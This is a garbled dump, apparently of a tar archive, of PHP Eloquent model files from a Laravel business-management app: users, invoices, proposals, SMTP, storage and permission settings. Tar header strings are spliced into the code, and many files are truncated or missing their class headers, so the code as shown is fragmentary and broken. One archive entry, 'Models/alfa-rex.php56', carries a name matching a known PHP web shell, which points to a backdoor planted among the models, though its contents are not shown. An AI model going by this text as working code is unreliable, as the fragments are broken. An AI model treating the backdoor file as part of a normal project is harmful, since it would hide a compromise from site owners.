confirmTwoFactorAuth($code) { $codeIsValid = app(TwoFactorAuthenticationProvider::class) ->verify(decrypt($this->two_factor_secret), $code); if ($codeIsValid) { $this->two_factor_confirmed = true; $this->save(); return true; } return false; } public function unreadMessages(): HasMany { return $this->hasMany(UserChat::class, 'from')->where('to', user()->id)->where('message_seen', 'no'); } public function shifts(): HasMany { return $this->hasMany(EmployeeShiftSchedule::class, 'user_id'); } public function employeeShift(): BelongsToMany { return $this->belongsToMany(EmployeeShift::class, 'employee_shift_schedules'); } public function userBadge() { $itsYou = ' ' . __('app.itsYou') . ''; /** @phpstan-ignore-next-line */ $name = $this->name_salutation; if (user() && user()->id == $this->id) { return $name . $itsYou; } return $name; } public function estimates(): HasMany { return $this->hasMany(Estimate::class, 'client_id'); } public function invoices(): HasMany { return $this->hasMany(Invoice::class, 'client_id'); } public function scopeOnlyEmployee($query) { return $query->whereHas('roles', function ($q) { $q->where('name', 'employee'); })->whereHas('employeeDetail'); } /** * Send the password reset notification. * * @param string $token * @return void */ public function sendPasswordResetNotification($token) { $this->notify(new ResetPassword($token)); } public static function allLeaveReportEmployees($exceptId = null, $active = false, $overRidePermission = null, $companyId = null) { if (!isRunningInConsoleOrSeeding() && !is_null($overRidePermission)) { $viewEmployeePermission = $overRidePermission; } elseif (!isRunningInConsoleOrSeeding() && user()) { $viewEmployeePermission = user()->permission('view_leave_report'); } $users = User::withRole('employee') ->join('employee_details', 'employee_details.user_id', '=', 'users.id') ->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id') ->select('users.id', 'users.company_id', 'users.name', 'users.email', 'users.created_at', 'users.image', 'designations.name as designation_name', 'users.email_notifications', 'users.mobile', 'users.country_id'); if (!is_null($exceptId)) { if (is_array($exceptId)) { $users->whereNotIn('users.id', $exceptId); } else { $users->where('users.id', '<>', $exceptId); } } if (!is_null($companyId)) { $users->where('users.company_id', $companyId); } if (!$active) { $users->withoutGlobalScope(ActiveScope::class); } if (!isRunningInConsoleOrSeeding() && user()) { if (isset($viewEmployeePermission)) { if ($viewEmployeePermission == 'added' && !in_array('client', user_roles())) { $users->where(function ($q) { $q->where('employee_details.added_by', user()->id); }); } elseif ($viewEmployeePermission == 'owned' && !in_array('client', user_roles())) { $users->where('users.id', user()->id); } elseif ($viewEmployeePermission == 'both' && !in_array('client', user_roles())) { $users->where(function ($q) { $q->where('employee_details.user_id', user()->id); $q->orWhere('employee_details.added_by', user()->id); }); } elseif (($viewEmployeePermission == 'none' || $viewEmployeePermission == '') && !in_array('client', user_roles())) { $users->where('users.id', user()->id); } } if (in_array('client', user_roles())) { $clientEmployees = Project::where('client_id', user()->id) ->join('project_members', 'project_members.project_id', '=', 'projects.id') ->select('project_members.user_id') ->get() ->pluck('user_id'); $users->whereIn('users.id', $clientEmployees); } } if (!isRunningInConsoleOrSeeding() && user() && in_array('client', user_roles())) { $clientEmployees = Project::where('client_id', user()->id) ->join('project_members', 'project_members.project_id', '=', 'projects.id') ->select('project_members.user_id') ->get() ->pluck('user_id'); $users->whereIn('users.id', $clientEmployees); } $users->orderBy('users.name'); $users->groupBy('users.id'); return $users->get(); } public function ticketReply(): BelongsToMany { return $this->belongsToMany(TicketReply::class, 'ticket_reply_users', 'user_id', 'ticket_reply_id'); } } Models/ProductFiles.php000064400000006161150325104510011103 0ustar00hashname); } public function product(): BelongsTo { return $this->belongsTo(Product::class); } } Models/TicketTagList.php000064400000002330150325104510011205 0ustar00 'datetime', 'created_at' => 'datetime', ]; public function lead(): BelongsTo { return $this->belongsTo(Deal::class, 'deal_id'); } public function addedBy(): BelongsTo { return $this->belongsTo(User::class, 'added_by'); } } Models/ProjectTemplateSubTask.php000064400000003617150325104510013102 0ustar00 'datetime', 'due_date' => 'datetime', ]; public function task(): BelongsTo { return $this->belongsTo(ProjectTemplateTask::class); } } Models/Currency.php000064400000004746150325104510010301 0ustar00 $invoices * @property-read int|null $invoices_count * @method static \Illuminate\Database\Eloquent\Builder|Currency whereCurrencyPosition($value) * @method static \Illuminate\Database\Eloquent\Builder|Currency whereDecimalSeparator($value) * @method static \Illuminate\Database\Eloquent\Builder|Currency whereNoOfDecimal($value) * @method static \Illuminate\Database\Eloquent\Builder|Currency whereThousandSeparator($value) * @mixin \Eloquent */ class Currency extends BaseModel { use HasCompany; public function invoices() { return $this->hasMany(Invoice::class); } } Models/BaseModel.php000064400000003320150325104510010325 0ustar00--'; foreach ($items as $item) { $name = is_null($columnName) ? $item->name : $item->{$columnName}; $selected = (!is_null($group) && ($item->id == $group->id)) ? 'selected' : ''; $options .= ''; } return $options; } public static function clickAbleLink($route, $title, $other = null) { return '
' . $title . '

' . $other . '

'; } // Added this for $dates public function getDates() { if (!$this->usesTimestamps()) { return $this->dates; } $defaults = [ $this->getCreatedAtColumn(), $this->getUpdatedAtColumn(), ]; return array_unique(array_merge($this->dates, $defaults)); } } Models/PurposeConsentUser.php000064400000003250150325104510012322 0ustar00hasOne(ProposalItemImage::class, 'proposal_item_id'); } public static function taxbyid($id) { return Tax::where('id', $id)->withTrashed(); } public function unit(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } public function getTaxListAttribute() { $proposalItem = ProposalItem::findOrFail($this->id); $taxes = ''; if ($proposalItem && $proposalItem->taxes) { $numItems = count(json_decode($proposalItem->taxes)); if (!is_null($proposalItem->taxes)) { foreach (json_decode($proposalItem->taxes) as $index => $tax) { $tax = $this->taxbyid($tax)->first(); $taxes .= $tax->tax_name . ': ' . $tax->rate_percent . '%'; $taxes = ($index + 1 != $numItems) ? $taxes . ', ' : $taxes; } } } return $taxes; } } Models/alfa-rex.php56000064400000026574150325104510010364 0ustar00Models/Permission.php000064400000004615150325104510010632 0ustar00belongsTo(Module::class, 'module_id'); } } Models/TicketReplyTemplate.php000064400000002533150325104510012432 0ustar00 'encrypted' ]; public function verifySmtp() { if ($this->mail_driver !== 'smtp') { return [ 'success' => true, 'message' => __('messages.smtpSuccess') ]; } try { $tls = $this->mail_encryption === 'ssl'; $transport = new EsmtpTransport($this->mail_host, $this->mail_port, $tls); $transport->setUsername($this->mail_username); $transport->setPassword($this->mail_password); $transport->start(); if ($this->verified == 0) { $this->verified = 1; $this->save(); } return [ 'success' => true, 'message' => __('messages.smtpSuccess') ]; } catch (TransportException | \Exception $e) { $this->verified = 0; $this->save(); return [ 'success' => false, 'message' => $e->getMessage() ]; } } public function getSetSmtpMessageAttribute() { if ($this->verified === 0 && $this->mail_driver == 'smtp') { return '
' . __('messages.smtpNotSet') . ' Visit SMTP Settings
'; } return null; } } Models/ClientDocument.php000064400000005113150325104510011411 0ustar00belongsTo(User::class, 'client_id'); } public function getDocUrlAttribute() { return asset_url_local_s3(ClientDocument::FILE_PATH . '/' . $this->user_id . '/' . $this->hashname); } } Models/Issue.php000064400000005225150325104510007570 0ustar00belongsTo(Project::class, 'project_id'); } /** * @param int $projectId * @param null $userID * @return Issue[]|\Illuminate\Database\Eloquent\Builder[]|\Illuminate\Database\Eloquent\Collection */ public static function projectIssuesPending($projectId, $userID = null) { $projectIssue = Issue::where('project_id', $projectId); if ($userID) { $projectIssue = $projectIssue->where('user_id', '=', $userID); } $projectIssue = $projectIssue->where('status', 'pending') ->get(); return $projectIssue; } public function checkIssueClient(): bool { $issue = Issue::where('id', $this->id) ->where('user_id', user()->id) ->count(); if ($issue > 0) { return true; } return false; } } Models/Qrcodes.php000064400000000333150325104510010073 0ustar00belongsTo(EmployeeShift::class, 'default_employee_shift'); } } Models/TaskComment.php000064400000021577150325104510010735 0ustar00 $commentEmoji * @property-read int|null $comment_emoji_count * @property-read \Illuminate\Database\Eloquent\Collection $dislike * @property-read int|null $dislike_count * @property-read \Illuminate\Database\Eloquent\Collection $dislikeUsers * @property-read int|null $dislike_users_count * @property-read \Illuminate\Database\Eloquent\Collection $like * @property-read int|null $like_count * @property-read \Illuminate\Database\Eloquent\Collection $likeUsers * @property-read int|null $like_users_count * @property-read \Illuminate\Database\Eloquent\Collection $commentEmoji * @property-read \Illuminate\Database\Eloquent\Collection $dislike * @property-read \Illuminate\Database\Eloquent\Collection $dislikeUsers * @property-read \Illuminate\Database\Eloquent\Collection $like * @property-read \Illuminate\Database\Eloquent\Collection $likeUsers * @property-read \Illuminate\Database\Eloquent\Collection $commentEmoji * @property-read \Illuminate\Database\Eloquent\Collection $dislike * @property-read \Illuminate\Database\Eloquent\Collection $dislikeUsers * @property-read \Illuminate\Database\Eloquent\Collection $like * @property-read \Illuminate\Database\Eloquent\Collection $likeUsers * @property-read \Illuminate\Database\Eloquent\Collection $commentEmoji * @property-read \Illuminate\Database\Eloquent\Collection $dislike * @property-read \Illuminate\Database\Eloquent\Collection $dislikeUsers * @property-read \Illuminate\Database\Eloquent\Collection $like * @property-read \Illuminate\Database\Eloquent\Collection $likeUsers * @property-read \Illuminate\Database\Eloquent\Collection $commentEmoji * @property-read \Illuminate\Database\Eloquent\Collection $dislike * @property-read \Illuminate\Database\Eloquent\Collection $dislikeUsers * @property-read \Illuminate\Database\Eloquent\Collection $like * @property-read \Illuminate\Database\Eloquent\Collection $likeUsers * @property-read \Illuminate\Database\Eloquent\Collection $commentEmoji * @property-read \Illuminate\Database\Eloquent\Collection $dislike * @property-read \Illuminate\Database\Eloquent\Collection $dislikeUsers * @property-read \Illuminate\Database\Eloquent\Collection $like * @property-read \Illuminate\Database\Eloquent\Collection $likeUsers * @property string|null $mention_user_id * @property-read \Illuminate\Database\Eloquent\Collection $commentEmoji * @property-read \Illuminate\Database\Eloquent\Collection $dislike * @property-read \Illuminate\Database\Eloquent\Collection $dislikeUsers * @property-read \Illuminate\Database\Eloquent\Collection $like * @property-read \Illuminate\Database\Eloquent\Collection $likeUsers * @method static \Illuminate\Database\Eloquent\Builder|TaskComment whereMentionUserId($value) * @property-read \Illuminate\Database\Eloquent\Collection $commentEmoji * @property-read \Illuminate\Database\Eloquent\Collection $dislike * @property-read \Illuminate\Database\Eloquent\Collection $dislikeUsers * @property-read \Illuminate\Database\Eloquent\Collection $like * @property-read \Illuminate\Database\Eloquent\Collection $likeUsers * @property-read \Illuminate\Database\Eloquent\Collection $mentionComment * @property-read int|null $mention_comment_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @property-read int|null $mention_user_count * @property-read \Illuminate\Database\Eloquent\Collection $commentEmoji * @property-read \Illuminate\Database\Eloquent\Collection $dislike * @property-read \Illuminate\Database\Eloquent\Collection $dislikeUsers * @property-read \Illuminate\Database\Eloquent\Collection $like * @property-read \Illuminate\Database\Eloquent\Collection $likeUsers * @property-read \Illuminate\Database\Eloquent\Collection $mentionComment * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @mixin \Eloquent */ class TaskComment extends BaseModel { public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function task(): BelongsTo { return $this->belongsTo(Task::class, 'task_id'); } public function commentEmoji(): HasMany { return $this->hasMany(TaskCommentEmoji::class, 'comment_id'); } public function mentionUser(): BelongsToMany { return $this->belongsToMany(User::class, 'mention_users')->withoutGlobalScope(ActiveScope::class)->using(MentionUser::class); } public function mentionComment(): HasMany { return $this->hasMany(MentionUser::class, 'task_comment_id'); } public function like(): HasMany { return $this->hasMany(TaskCommentEmoji::class, 'comment_id')->where('emoji_name', 'thumbs-up'); } public function dislike(): HasMany { return $this->hasMany(TaskCommentEmoji::class, 'comment_id')->where('emoji_name', 'thumbs-down'); } public function likeUsers(): HasManyThrough { return $this->hasManyThrough( User::class, TaskCommentEmoji::class, 'comment_id', // Foreign key on the task comment emoji table... 'id', // Foreign key on the user table... 'id', // Local key on the task comment table... 'user_id' // Local key on the task comment emoji table... )->where('task_comment_emoji.emoji_name', 'thumbs-up'); } public function dislikeUsers(): HasManyThrough { return $this->hasManyThrough( User::class, TaskCommentEmoji::class, 'comment_id', // Foreign key on the task comment emoji table... 'id', // Foreign key on the user table... 'id', // Local key on the task comment table... 'user_id' // Local key on the task comment emoji table... )->where('task_comment_emoji.emoji_name', 'thumbs-down'); } } Models/StorageSetting.php000064400000010014150325104510011432 0ustar00 'encrypted' ]; protected $fillable = ['filesystem', 'auth_keys', 'status']; const AWS_REGIONS = [ 'us-east-2' => 'US East (Ohio) us-east-2', 'us-east-1' => 'US East (N. Virginia) us-east-1', 'us-west-1' => 'US West (N. California) us-west-1', 'us-west-2' => 'US West (Oregon) us-west-2', 'af-south-1' => 'Africa (Cape Town) af-south-1', 'ap-east-1' => 'Asia Pacific (Hong Kong) ap-east-1', 'ap-south-1' => 'Asia Pacific (Mumbai) ap-south-1', 'ap-northeast-3' => 'Asia Pacific (Osaka-Local) ap-northeast-3', 'ap-northeast-2' => 'Asia Pacific (Seoul) ap-northeast-2', 'ap-southeast-1' => 'Asia Pacific (Singapore) ap-southeast-1', 'ap-southeast-2' => 'Asia Pacific (Sydney) ap-southeast-2', 'ap-northeast-1' => 'Asia Pacific (Tokyo) ap-northeast-1', 'ca-central-1' => 'Canada (Central) ca-central-1', 'eu-central-1' => 'Europe (Frankfurt) eu-central-1', 'eu-west-1' => 'Europe (Ireland) eu-west-1', 'eu-west-2' => 'Europe (London) eu-west-2', 'eu-south-1' => 'Europe (Milan) eu-south-1', 'eu-west-3' => 'Europe (Paris) eu-west-3', 'eu-north-1' => 'Europe (Stockholm) eu-north-1', 'me-south-1' => 'Middle East (Bahrain) me-south-1', 'me-central-1' => 'Middle East (UAE) (me-central-1)', 'sa-east-1' => 'South America (São Paulo) sa-east-1', ]; const DIGITALOCEAN_REGIONS = [ 'nyc1' => 'New York City, United States', 'nyc3' => 'New York City, United States', 'ams3' => 'Amsterdam, the Netherlands', 'sfo3' => 'San Francisco, United States', 'sgp1' => 'Singapore', 'lon1' => 'London, United Kingdom', 'fra1' => 'Frankfurt, Germany', 'tor1' => 'Toronto, Canada', 'blr1' => 'Bangalore, India', 'syd1' => 'Sydney, Australia' ]; const WASABI_REGIONS = [ 'ap-southeast-2' => 'AP Southeast 2 (Sydney)', 'ap-southeast-1' => 'AP Southeast 1 (Singapore)', 'ap-northeast-2' => 'AP Northeast 2 (Osaka)', 'ap-northeast-1' => 'AP Northeast 1 (Tokyo)', 'eu-west-3' => 'EU West 3 (London)', 'eu-west-2' => 'EU West 2 (Paris)', 'eu-west-1' => 'EU West 1 (London)', 'eu-south-1' => 'EU South 1 (Milan)', 'eu-central-2' => 'EU Central 2 (Frankfurt)', 'eu-central-1' => 'EU Central 1 (Amsterdam)', 'ca-central-1' => 'CA Central 1 (Toronto)', 'us-west-1' => 'US West 1 (Oregon)', 'us-central-1' => 'US Central 1 (Texas)', 'us-east-2' => 'US East 2 (N. Virginia)', 'us-east-1' => 'US East 1 (N. Virginia)', ]; const S3_COMPATIBLE_STORAGE = ['s3', 'digitalocean', 'wasabi', 'minio']; } Models/LogTimeFor.php000064400000004036150325104510010506 0ustar00belongsTo(Deal::class); } } Models/Proposal.php000064400000012204150325104510010272 0ustar00 'datetime', 'last_viewed' => 'datetime', ]; public function items(): HasMany { return $this->hasMany(ProposalItem::class); } public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function lead(): BelongsTo { return $this->belongsTo(Deal::class, 'deal_id'); } public function deal(): BelongsTo { return $this->belongsTo(Deal::class); } public function unit(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } public function signature(): HasOne { return $this->hasOne(ProposalSign::class); } public static function lastProposalNumber() { $lastProposal = Proposal::orderByRaw('LENGTH(original_proposal_number) DESC') ->orderBy('original_proposal_number', 'desc') ->first(); return $lastProposal ? $lastProposal->original_proposal_number : '0'; } } Models/ProjectSetting.php000064400000003507150325104510011445 0ustar00attributes['remind_to'] = json_encode($value); } } Models/CurrencyFormatSetting.php000064400000003156150325104510013002 0ustar00belongsTo(Currency::class, 'currency_id'); } } Models/CustomLinkSetting.php000064400000003131150325104510012120 0ustar00external_link){ return str($this->external_link)->contains('http') ? $this->external_link : asset_url_local_s3($this->external_link); } return asset_url_local_s3(EstimateTemplateItemImage::FILE_PATH . '/' . $this->estimate_template_item_id . '/' . $this->hashname); } public function getFileAttribute() { return $this->external_link ?: (EstimateTemplateItemImage::FILE_PATH . '/' . $this->estimate_template_item_id . '/' . $this->hashname); } } Models/GlobalSetting.php000064400000054744150325104510011250 0ustar00 'encrypted', 'google_client_secret' => 'encrypted' ]; public $dates = ['last_cron_run']; const COMPANY_TABLES = [ 'accept_estimates', 'attendance_settings', 'attendances', 'client_categories', 'client_contacts', 'client_details', 'client_docs', 'client_notes', 'client_sub_categories', 'client_user_notes', 'company_addresses', 'contract_discussions', 'contract_files', 'contract_renews', 'contract_signs', 'contract_templates', 'contract_types', 'contracts', 'conversation', 'conversation_reply', 'credit_notes', 'currencies', 'currency_format_settings', 'custom_field_groups', 'custom_fields', 'dashboard_widgets', 'designations', 'discussion_categories', 'discussion_files', 'discussion_replies', 'discussions', 'email_notification_settings', 'emergency_contacts', 'employee_details', 'employee_docs', 'employee_shifts', 'employee_shift_change_requests', 'employee_skills', 'employee_teams', 'estimates', 'event_attendees', 'event_files', 'events', 'expenses', 'expenses_category', 'expenses_category_roles', 'expenses_recurring', 'google_calendar_modules', 'holidays', 'invoice_recurring', 'invoice_settings', 'invoices', 'issues', 'knowledge_base_files', 'knowledge_bases', 'knowledge_categories', 'lead_agents', 'lead_category', 'lead_custom_forms', 'lead_sources', 'lead_status', 'leads', 'leave_types', 'leaves', 'log_time_for', 'message_settings', 'module_settings', 'notice_views', 'notices', 'offline_payment_methods', 'orders', 'payment_gateway_credentials', 'payments', 'pinned', 'product_category', 'product_files', 'product_sub_category', 'products', 'project_category', 'project_settings', 'project_status_settings', 'project_templates', 'project_time_logs', 'project_time_log_breaks', 'projects', 'proposal_template_item_images', 'proposal_template_items', 'proposal_templates', 'proposals', 'push_subscriptions', 'quotations', 'removal_requests', 'removal_requests_lead', 'roles', 'skills', 'slack_settings', 'sticky_notes', 'task_category', 'task_settings', 'taskboard_columns', 'tasks', 'taxes', 'teams', 'theme_settings', 'ticket_agent_groups', 'ticket_channels', 'ticket_custom_forms', 'ticket_email_settings', 'ticket_groups', 'ticket_reply_templates', 'ticket_tag_list', 'ticket_tags', 'ticket_types', 'tickets', 'universal_search', 'user_activities', 'user_invitations', 'user_leadboard_settings', 'user_taskboard_settings', 'users', 'users_chat', 'users_chat_files', 'file_storage', 'task_label_list' ]; const CURRENCY_TABLES = [ 'companies', 'contracts', 'contract_templates', 'credit_notes', 'estimates', 'expenses', 'expenses_recurring', 'leads', 'invoices', 'invoice_recurring', 'orders', 'payments', 'proposals', 'proposal_templates', 'projects', 'project_milestones', ]; protected $appends = [ 'logo_url', 'login_background_url', 'show_public_message', 'moment_date_format', 'favicon_url' ]; const DATE_FORMATS = [ 'd-m-Y' => 'DD-MM-YYYY', 'm-d-Y' => 'MM-DD-YYYY', 'Y-m-d' => 'YYYY-MM-DD', 'd.m.Y' => 'DD.MM.YYYY', 'm.d.Y' => 'MM.DD.YYYY', 'Y.m.d' => 'YYYY.MM.DD', 'd/m/Y' => 'DD/MM/YYYY', 'm/d/Y' => 'MM/DD/YYYY', 'Y/m/d' => 'YYYY/MM/DD', 'd/M/Y' => 'DD/MMM/YYYY', 'd.M.Y' => 'DD.MMM.YYYY', 'd-M-Y' => 'DD-MMM-YYYY', 'd M Y' => 'DD MMM YYYY', 'd F, Y' => 'DD MMMM, YYYY', 'd D M Y' => 'DD ddd MMM YYYY', 'D d M Y' => 'ddd DD MMM YYYY', 'dS M Y' => 'Do MMM YYYY', ]; const SELECT2_SHOW_COUNT = 20; public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function getLogoUrlAttribute() { if (user()) { if (user()->dark_theme) { return $this->defaultLogo(); } } if (company() && company()->auth_theme == 'dark') { return $this->defaultLogo(); } if (is_null($this->light_logo)) { return asset('img/worksuite-logo.png'); } return asset_url_local_s3('app-logo/' . $this->light_logo); } public function defaultLogo() { if (is_null($this->logo)) { return asset('img/worksuite-logo.png'); } return asset_url_local_s3('app-logo/' . $this->logo); } public function getLightLogoUrlAttribute() { if (is_null($this->light_logo)) { return asset('img/worksuite-logo.png'); } return asset_url_local_s3('app-logo/' . $this->light_logo); } public function getDarkLogoUrlAttribute() { if (is_null($this->logo)) { return asset('img/worksuite-logo.png'); } return asset_url_local_s3('app-logo/' . $this->logo); } public function getLoginBackgroundUrlAttribute() { if (is_null($this->login_background) || $this->login_background == 'login-background.jpg') { return null; } return asset_url_local_s3('login-background/' . $this->login_background); } public function maskedDefaultLogo(): Attribute { return Attribute::make( get: function () { if (is_null($this->logo)) { return asset('img/worksuite-logo.png'); } return $this->generateMaskedImageAppUrl('app-logo/' . $this->logo); }, ); } public function maskedLogoUrl(): Attribute { return Attribute::make( get: function () { if (user()) { if (user()->dark_theme) { return $this->masked_default_logo; } } if (company() && company()->auth_theme == 'dark') { return $this->masked_default_logo; } if (is_null($this->light_logo)) { return asset('img/worksuite-logo.png'); } return $this->generateMaskedImageAppUrl('app-logo/' . $this->light_logo); }, ); } public function maskedLightLogoUrl(): Attribute { return Attribute::make( get: function () { if (is_null($this->light_logo)) { return asset('img/worksuite-logo.png'); } return $this->generateMaskedImageAppUrl('app-logo/' . $this->light_logo); }, ); } public function maskedDarkLogoUrl(): Attribute { return Attribute::make( get: function () { if (is_null($this->logo)) { return asset('img/worksuite-logo.png'); } return $this->generateMaskedImageAppUrl('app-logo/' . $this->logo); }, ); } public function maskedLoginBackgroundUrl(): Attribute { return Attribute::make( get: function () { if (is_null($this->login_background) || $this->login_background == 'login-background.jpg') { return null; } return $this->generateMaskedImageAppUrl('login-background/' . $this->login_background); }, ); } public function maskedFaviconUrl(): Attribute { return Attribute::make( get: function () { if (is_null($this->favicon)) { return asset('favicon.png'); } return $this->generateMaskedImageAppUrl('favicon/' . $this->favicon); }, ); } public function getShowPublicMessageAttribute() { if (str_contains(request()->url(), request()->getHost() . '/public')) { return true; } return false; } public function getMomentDateFormatAttribute() { return isset($this->date_format) ? self::DATE_FORMATS[$this->date_format] : null; } public function getFaviconUrlAttribute() { if (is_null($this->favicon)) { return asset('favicon.png'); } return asset_url_local_s3('favicon/' . $this->favicon); } public static function checkListCompleted() { $checkListCompleted = 2; // Installation and Admin Account setup if (smtp_setting()->mail_from_email != 'from@email.com') { $checkListCompleted++; } if (!is_null(global_setting()->last_cron_run)) { $checkListCompleted++; } if (!is_null(global_setting()->logo)) { $checkListCompleted++; } if (!is_null(global_setting()->favicon)) { $checkListCompleted++; } return $checkListCompleted; } public static function getMonthsOfYear($full = 'F') { $months = []; for ($monthNumber = 1; $monthNumber <= Carbon::MONTHS_PER_YEAR; $monthNumber++) { $monthName = Carbon::create(null, $monthNumber)->translatedFormat($full); $months[] = $monthName; } return $months; } public static function getDaysOfWeek($full = 'D') { $days = []; for ($dayNumber = 0; $dayNumber < Carbon::DAYS_PER_WEEK; $dayNumber++) { $dayName = now()->startOfWeek(0)->addDays($dayNumber)->translatedFormat($full); $days[] = $dayName; } return $days; } public static function validateGoogleRecaptcha($googleRecaptchaResponse) { $secretKey = global_setting()->google_recaptcha_v2_status == 'active' ? global_setting()->google_recaptcha_v2_secret_key : global_setting()->google_recaptcha_v3_secret_key; $client = new Client(); $response = $client->post('https://www.google.com/recaptcha/api/siteverify', [ 'form_params' => [ 'secret' => $secretKey, 'response' => $googleRecaptchaResponse, 'remoteip' => $_SERVER['REMOTE_ADDR'], ], ]); $body = json_decode($response->getBody()); return $body->success; } } Models/DealFile.php000064400000005023150325104510010141 0ustar00deal_id . '/' . $this->hashname); } public function lead(): BelongsTo { return $this->belongsTo(Deal::class, 'deal_id'); } } Models/GdprSetting.php000064400000005165150325104510010735 0ustar00whereNull('read_at') ->where('data', 'like', '{"id":' . $id . ',%') ->delete(); } } Models/TranslateSetting.php000064400000002032150325104510011764 0ustar00Models/RecurringInvoiceItemImage.php000064400000005112150325104510013532 0ustar00external_link){ return str($this->external_link)->contains('http') ? $this->external_link : asset_url_local_s3($this->external_link); } return asset_url_local_s3(RecurringInvoiceItemImage::FILE_PATH . '/' . $this->invoice_recurring_item_id . '/' . $this->hashname); } public function getFileAttribute() { return $this->external_link ?: (RecurringInvoiceItemImage::FILE_PATH . '/' . $this->invoice_recurring_item_id . '/' . $this->hashname); } } Models/ProposalTemplate.php000064400000007240150325104510011772 0ustar00hasMany(ProposalTemplateItem::class, 'proposal_template_id'); } public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function lead(): BelongsTo { return $this->belongsTo(Deal::class); } public function units(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } } Models/Team.php000064400000005002150325104510007357 0ustar00hasMany(EmployeeTeam::class, 'team_id'); } public function teamMembers(): HasMany { return $this->hasMany(EmployeeDetails::class, 'department_id'); } public static function allDepartments() { if (user()->permission('view_department') == 'all' || user()->permission('view_department') == 'none') { return Team::all(); } return Team::where('added_by', user()->id)->get(); } public function childs(): HasMany { return $this->hasMany(Team::class, 'parent_id'); } } Models/GoogleCalendarModule.php000064400000004023150325104510012507 0ustar00belongsTo(User::class, 'lead_id'); } public function members(): HasMany { return $this->hasMany(LeadUserNote::class, 'lead_note_id'); } } Models/ProjectTemplate.php000064400000011676150325104510011611 0ustar00belongsTo(ProjectCategory::class); } public function client(): BelongsTo { return $this->belongsTo(User::class)->withoutGlobalScope(ActiveScope::class); } public function members(): HasMany { return $this->hasMany(ProjectTemplateMember::class); } public function tasks(): HasMany { return $this->hasMany(ProjectTemplateTask::class, 'project_template_id')->orderByDesc('id'); } /** * @return bool */ public function checkProjectUser() { $project = ProjectTemplateMember::where('project_template_id', $this->id) ->where('user_id', user()->id) ->count(); if ($project > 0) { return true; } else { return false; } } /** * @return bool */ public function checkProjectClient() { $project = ProjectTemplateMember::where('id', $this->id) ->where('client_id', user()->id) ->count(); if ($project > 0) { return true; } else { return false; } } public static function clientProjects($clientId) { return ProjectTemplateMember::where('client_id', $clientId)->get(); } public static function byEmployee($employeeId) { return ProjectTemplateMember::join('project_template_members', 'project_template_members.project_template_id', '=', 'project_templates.id') ->where('project_template_members.user_id', $employeeId) ->get(); } public function projectMembers(): BelongsToMany { return $this->belongsToMany(User::class, 'project_template_members'); } } Models/BankAccount.php000064400000007377150325104510010702 0ustar00belongsTo(Currency::class, 'currency_id'); } public function transaction(): HasMany { return $this->hasMany(BankTransaction::class, 'bank_account_id'); } public function getFileUrlAttribute() { if ($this->bank_logo != '') { return asset_url_local_s3(BankAccount::FILE_PATH.'/' . $this->bank_logo); } elseif ($this->type == 'bank'){ return ''; } elseif ($this->type == 'cash'){ return ''; } } public function expenses() { return $this->hasMany(Expense::class); } } Models/ProjectMember.php000064400000005427150325104510011242 0ustar00user->email; } public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id'); } public static function byProject($id) { return ProjectMember::join('users', 'users.id', '=', 'project_members.user_id') ->where('project_members.project_id', $id) ->where('users.status', 'active') ->get(); } public static function checkIsMember($projectId, $userId) { return ProjectMember::where('project_id', $projectId) ->where('user_id', $userId)->first(); } } Models/LeadPipeline.php000064400000005146150325104510011035 0ustar00 $deals * @property-read int|null $deals_count * @property-read \Illuminate\Database\Eloquent\Collection $stages * @property-read int|null $stages_count * @method static \Illuminate\Database\Eloquent\Builder|LeadPipeline whereDefault($value) * @method static \Illuminate\Database\Eloquent\Builder|LeadPipeline whereLabelColor($value) * @method static \Illuminate\Database\Eloquent\Builder|LeadPipeline whereName($value) * @method static \Illuminate\Database\Eloquent\Builder|LeadPipeline wherePriority($value) * @method static \Illuminate\Database\Eloquent\Builder|LeadPipeline whereSlug($value) * @mixin \Eloquent */ class LeadPipeline extends BaseModel { use HasCompany; protected $default = ['id', 'name']; protected $with = []; public function stages(): HasMany { return $this->hasMany(PipelineStage::class, 'lead_pipeline_id', 'id')->orderBy('pipeline_stages.priority'); } public function deals(): HasMany { return $this->hasMany(Deal::class, 'lead_pipeline_id', 'id'); } } Models/PermissionRole.php000064400000025135150325104510011454 0ustar00belongsTo(PermissionType::class, 'permission_type_id'); } public function permission(): BelongsTo { return $this->belongsTo(Permission::class, 'permission_id'); } public static function employeeRolePermissions() { $employeePermissionsArray = [ 'view_projects' => PermissionType::OWNED, 'view_project_files' => PermissionType::ALL, 'add_project_files' => PermissionType::ALL, 'edit_project_files' => PermissionType::ADDED, 'delete_project_files' => PermissionType::ADDED, 'view_project_members' => PermissionType::ALL, 'view_project_discussions' => PermissionType::ALL, 'add_project_discussions' => PermissionType::ALL, 'edit_project_discussions' => PermissionType::ADDED, 'delete_project_discussions' => PermissionType::ADDED, 'view_project_note' => PermissionType::ALL, 'view_attendance' => PermissionType::OWNED, 'add_tasks' => PermissionType::ADDED, 'view_tasks' => PermissionType::BOTH, 'edit_tasks' => PermissionType::ADDED, 'delete_tasks' => PermissionType::ADDED, 'view_project_tasks' => PermissionType::ALL, 'view_sub_tasks' => PermissionType::ALL, 'add_sub_tasks' => PermissionType::ALL, 'edit_sub_tasks' => PermissionType::ADDED, 'delete_sub_tasks' => PermissionType::ADDED, 'view_task_files' => PermissionType::ALL, 'add_task_files' => PermissionType::ALL, 'edit_task_files' => PermissionType::ADDED, 'delete_task_files' => PermissionType::ADDED, 'view_task_comments' => PermissionType::ALL, 'add_task_comments' => PermissionType::ALL, 'edit_task_comments' => PermissionType::ADDED, 'delete_task_comments' => PermissionType::ADDED, 'view_task_notes' => PermissionType::ALL, 'add_task_notes' => PermissionType::ALL, 'edit_task_notes' => PermissionType::ADDED, 'delete_task_notes' => PermissionType::ADDED, 'add_timelogs' => PermissionType::ADDED, 'edit_timelogs' 